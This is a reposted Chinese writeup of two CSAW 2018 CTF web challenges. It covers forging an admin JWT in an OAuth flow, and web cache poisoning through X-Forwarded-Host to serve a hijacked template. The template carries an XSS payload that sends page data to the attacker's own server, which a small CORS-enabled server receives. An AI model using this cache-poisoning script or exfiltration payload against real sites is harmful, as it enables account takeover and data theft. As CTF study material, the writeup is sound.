CSAW 2018 复现writeup

栏目: 服务器 · Apache · 发布时间: 6年前

内容简介:补补web打开源代码如下:关于OAUTH2.0的授权的详细模式可以参考

_

补补web

Web

sso

Don't you love undocumented APIs

Be the admin you were always meant to be

http://web.chal.csaw.io:9000

Update chal description at: 4:38 to include solve details

Aesthetic update for chal at Sun 7:25 AM

打开源代码如下:

<h1>Welcome to our SINGLE SIGN ON PAGE WITH FULL OAUTH2.0!</h1>
  <a href="/protected">.</a>
  <!--
  Wish we had an automatic GET route for /authorize... well they'll just have to POST from their own clients I guess
  POST /oauth2/token
  POST /oauth2/authorize form-data TODO: make a form for this route
  --!>
  

关于OAUTH2.0的授权的详细模式可以参考 这篇文章六、授权码模式

授权模式大致流程如下:

  1. 获取Authorization Code,通常访问/authorize

请求的参数:

  • response_type:表示授权类型,必选项,此处的值固定为”code”
  • client_id:表示客户端的ID,必选项
  • redirect_uri:表示重定向URI,可选项
  • scope:表示申请的权限范围,可选项
  • state:表示客户端的当前状态,可以指定任意值,认证服务器会原封不动地返回这个值。
  1. 获取Access Token,通常访问/token

请求的参数:

  • grant_type:表示使用的授权模式,必选项,此处的值固定为”authorization_code”。
  • code:表示上一步获得的授权码,必选项。
  • redirect_uri:表示重定向URI,必选项,且必须与A步骤中的该参数值保持一致。
  • client_id:表示客户端ID,必选项。
  1. 访问限制资源,比如这里的/protected

所以第一步,获取Authorization Code。

CSAW 2018 复现writeup

然后在我们的服务器上能收到:

CSAW 2018 复现writeup

拿到code:

再去拿到token。

CSAW 2018 复现writeup

得到token:

将这个token拿到 jwt.io/ 解密。

CSAW 2018 复现writeup

这里的 secret 就是加密秘钥,所以我们可以将type改为admin。

CSAW 2018 复现writeup

我们拿着这个token去访问 /protected

CSAW 2018 复现writeup

得到flag:flag{JsonWebTokensaretheeasieststorage-lessdataoptiononthemarket!theyrelyonsupersecureblockchainlevelencryptionfortheirmethods}。

参考链接

https://www.aperikube.fr/docs/csawquals_2018/sso/

https://github.com/TryCTFAgain/CTF-Writeups/blob/master/2018/CSAW%20CTF’18/web.md#sso

Hacker Movie Club

Hacker Movie Club
Hacker movies are very popular, so we needed a site that we can scale. You better get started though, there are a lot of movies to watch.

Author: itszn (ret2 systems)

http://app.hm.vulnerable.services/

CSAW 2018 复现writeup

打开主页如下:

CSAW 2018 复现writeup

源码:(去掉style)

<html>
<head>
<script data-src="mustache.min.js" data-cdn="4ca7ee46a1d73057a0e009e5ce94291030185d14.hm.vulnerable.services"></script>
<script data-src="app.js" data-cdn="4ca7ee46a1d73057a0e009e5ce94291030185d14.hm.vulnerable.services"></script>
</head>
<body>
<div id="content">Loading..</div>
<script>
window.loaded_recapcha = () => {
    window.loaded_recapcha = true;
}
window.loaded_mustache = () => {
    window.loaded_mustache = true;
}
</script>

<script src="/cdn.js"></script>

<script src='https://www.google.com/recaptcha/api.js?onload=loaded_recapcha&render=explicit'></script>
</body>
</html>

其中的 /cdn.js 作用是加上 X-Forwarded-Host 头去加载上面两个脚本。

// cdn.js
for (let t of document.head.children) {
    if (t.tagName !== 'SCRIPT')
        continue;
    let { cdn, src } = t.dataset;
    if (cdn === undefined || src === undefined)
        continue;
    fetch(`//${cdn}/cdn/${src}`,{
        headers: {
            'X-Forwarded-Host':cdn
        }}
    ).then(r=>r.blob()).then(b=> {
        let u = URL.createObjectURL(b);
        let s = document.createElement('script');
        s.src = u;
        document.head.appendChild(s);
    });
}

主页面上还有一个 report 的功能,一般看到这个一般都会出现XSS利用,但是这道题中并没有输入交互,所以XSS的利用方式还有些不同。

app.js如下:

// app.js
var token = null;

Promise.all([
    fetch('/api/movies').then(r=>r.json()),
    fetch(`//4ca7ee46a1d73057a0e009e5ce94291030185d14.hm.vulnerable.services/cdn/main.mst`).then(r=>r.text()),
    new Promise((resolve) => {
        if (window.loaded_recapcha === true)
            return resolve();
        window.loaded_recapcha = resolve;
    }),
    new Promise((resolve) => {
        if (window.loaded_mustache === true)
            return resolve();
        window.loaded_mustache = resolve;
    })
]).then(([user, view])=>{
    document.getElementById('content').innerHTML = Mustache.render(view,user);

    grecaptcha.render(document.getElementById("captcha"), {
        sitekey: '6Lc8ymwUAAAAAM7eBFxU1EBMjzrfC5By7HUYUud5',
        theme: 'dark',
        callback: t=> {
            token = t;
            document.getElementById('report').disabled = false;
        }
    });
    let hidden = true;
    document.getElementById('report').onclick = () => {
        if (hidden) {
          document.getElementById("captcha").parentElement.style.display='block';
          document.getElementById('report').disabled = true;
          hidden = false;
          return;
        }
        fetch('/api/report',{
            method: 'POST',
            body: JSON.stringify({token:token})
        }).then(r=>r.json()).then(j=>{
            if (j.success) {
                // The admin is on her way to check the page
                alert("Neo... nobody has ever done this before.");
                alert("That's why it's going to work.");
            } else {
                alert("Dodge this.");
            }
        });
    }
});

main.mst下载后发现是模板文件。

<div class="header">
Hacker Movie Club
</div>


<div class="header admin">
Welcome to the desert of the real.
</div>


<table class="movies">
<thead>
 <th>Name</th><th>Year</th><th>Length</th>
</thead>
<tbody>

  
    <tr>
      <td></td>
      <td></td>
      <td></td>
    </tr>
  

</tbody>
</table>

<div class="captcha">
  <div id="captcha"></div>
</div>
<button id="report" type="submit" class="report"></button>

初期的一个探索并没有发现什么有价值的东西,所以我们可以考虑对每个请求包进行分析。

/api/movies 响应的body中看到了一个只能由admin查看的项:

CSAW 2018 复现writeup

当我们把它通过抓包改成 false 时,可以发现:

CSAW 2018 复现writeup

CSAW 2018 复现writeup

可以看到,隐藏的项就出来了,所以我们的目的就明确了,但是我们没有太多可以交互的地方,所以还需要找突破点。

观察后发现每个响应头都有:

HTTP/1.1 200 OK
...
Cache-Control: no-cache
X-Varnish: 157274709
Age: 0
Via: 1.1 varnish-v4
Accept-Ranges: bytes
Connection: keep-alive

去了解了下 varnish ,发现它是一个 反向代理 中的 缓存服务 程序。

如果来自Apache的响应是可缓存的,Varnish会将其存储以便更快地响应未来的请求。

varnish详细的请求头可以在 这里 找到。

所以这里我们需要用到一种叫 Web Cache Poisoningweb缓存污染 )的利用方法,这个跟 Cache Poisoning (又称DNS污染)是不一样的东西。

参考链接:

中文版-实战Web缓存中毒

英文原版

这里我们可以重点关注 DOM Poisoning (DOM污染)。

另一个需要先了解的事情是 X-Forwarded-Host 的作用,详情可参考: 这里

X-Forwarded-Host (XFH) 是一个事实上的标准首部,用来确定客户端发起的请求中使用 Host 指定的初始域名。 反向代理(如负载均衡服务器、CDN等)的域名或端口号可能会与处理请求的源头服务器有所不同,在这种情况下,X-Forwarded-Host 可以用来确定哪一个域名是最初被用来访问的。

语法:

X-Forwarded-Host: <host>

上面这些归结起来就是 当服务器进行缓存时它会将客户端的请求转发到XFH指定的host上去。

现在再回过头看看我们已有的资料。我们得知 main.mst 是模板文件,它会利用``等对admin身份进行判断,如果我们能够劫持掉这个模板文件,使她绕过admin就可以获得到完整的项。

我们先来找到 main.mst 缓存的最大时间( max-age ),我们可以带着 X-Forwarded-Host 不停的请求 /cdn/app.js ,如果 fetch('//4ca7ee46a1d73057a0e009e5ce94291030185d14.hm.vulnerable.services/cdn/main.mst') 能被我们控制到 fetch('my_server/cdn/main.mst') 上就成功的完成了劫持。

我们可以使用下面的脚本验证一下:

# -*- coding: utf-8 -*-

import requests

X_Forwarded_Host = '1.2.3.4' 

while True:
    resp = requests.get("http://4ca7ee46a1d73057a0e009e5ce94291030185d14.hm.vulnerable.services/cdn/app.js", headers={'X-Forwarded-Host': X_Forwarded_Host})
    print resp.headers
    if X_Forwarded_Host in resp.text:
        print resp.text
        break

结果如下:

CSAW 2018 复现writeup

CSAW 2018 复现writeup

可以看到我们成功的通过 web缓存污染 劫持了模板文件。接着我们再构造好模板文件,然后让admin去访问就可以拿到flag了。

<div class="header">
Hacker Movie Club
</div>

<div class="header admin">
Welcome to the desert of the real.
</div>

<table class="movies">
<thead>
 <th>Name</th><th>Year</th><th>Length</th>
</thead>
<tbody>

    <tr>
      <td></td>
      <td></td>
      <td></td>
    </tr>

</tbody>
</table>

<div class="captcha">
  <div id="captcha"></div>
</div>
<button id="report" type="submit" class="report"></button>
<img src=x onerror="fetch('http://my_server_ip/'+'')">

如果你直接访问会出现一个 跨域资源共享 (CORS)的问题,如下:

CSAW 2018 复现writeup

它要求服务器回应的头信息要包含 Access-Control-Allow-Origin 字段,如果你不想配置Apache或者Nginx,那你可以使用下面这个建议的python web server。

#!/usr/bin/env python
# -*- coding: utf-8 -*-

try:
    # Python 3
    from http.server import HTTPServer, SimpleHTTPRequestHandler, test as test_orig
    import sys
    def test (*args):
        test_orig(*args, port=int(sys.argv[1]) if len(sys.argv) > 1 else 8000)
except ImportError: # Python 2
    from BaseHTTPServer import HTTPServer, test
    from SimpleHTTPServer import SimpleHTTPRequestHandler

class CORSRequestHandler (SimpleHTTPRequestHandler):
    def end_headers (self):
        self.send_header('Access-Control-Allow-Origin', '*')
        SimpleHTTPRequestHandler.end_headers(self)

if __name__ == '__main__':
    test(CORSRequestHandler, HTTPServer)

开启后就能在日志输出中得到flag:

CSAW 2018 复现writeup

flag:flag{I_h0pe_you_w4tch3d_a11_th3_m0v1es}

参考链接:

https://lud1161.github.io/posts/hacker-movie-club-csaw-quals-2018/


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Concepts, Techniques, and Models of Computer Programming

Concepts, Techniques, and Models of Computer Programming

Peter Van Roy、Seif Haridi / The MIT Press / 2004-2-20 / USD 78.00

This innovative text presents computer programming as a unified discipline in a way that is both practical and scientifically sound. The book focuses on techniques of lasting value and explains them p......一起来看看 《Concepts, Techniques, and Models of Computer Programming》 这本书的介绍吧!

图片转BASE64编码
图片转BASE64编码

在线图片转Base64编码工具

HTML 编码/解码
HTML 编码/解码

HTML 编码/解码

MD5 加密
MD5 加密

MD5 加密工具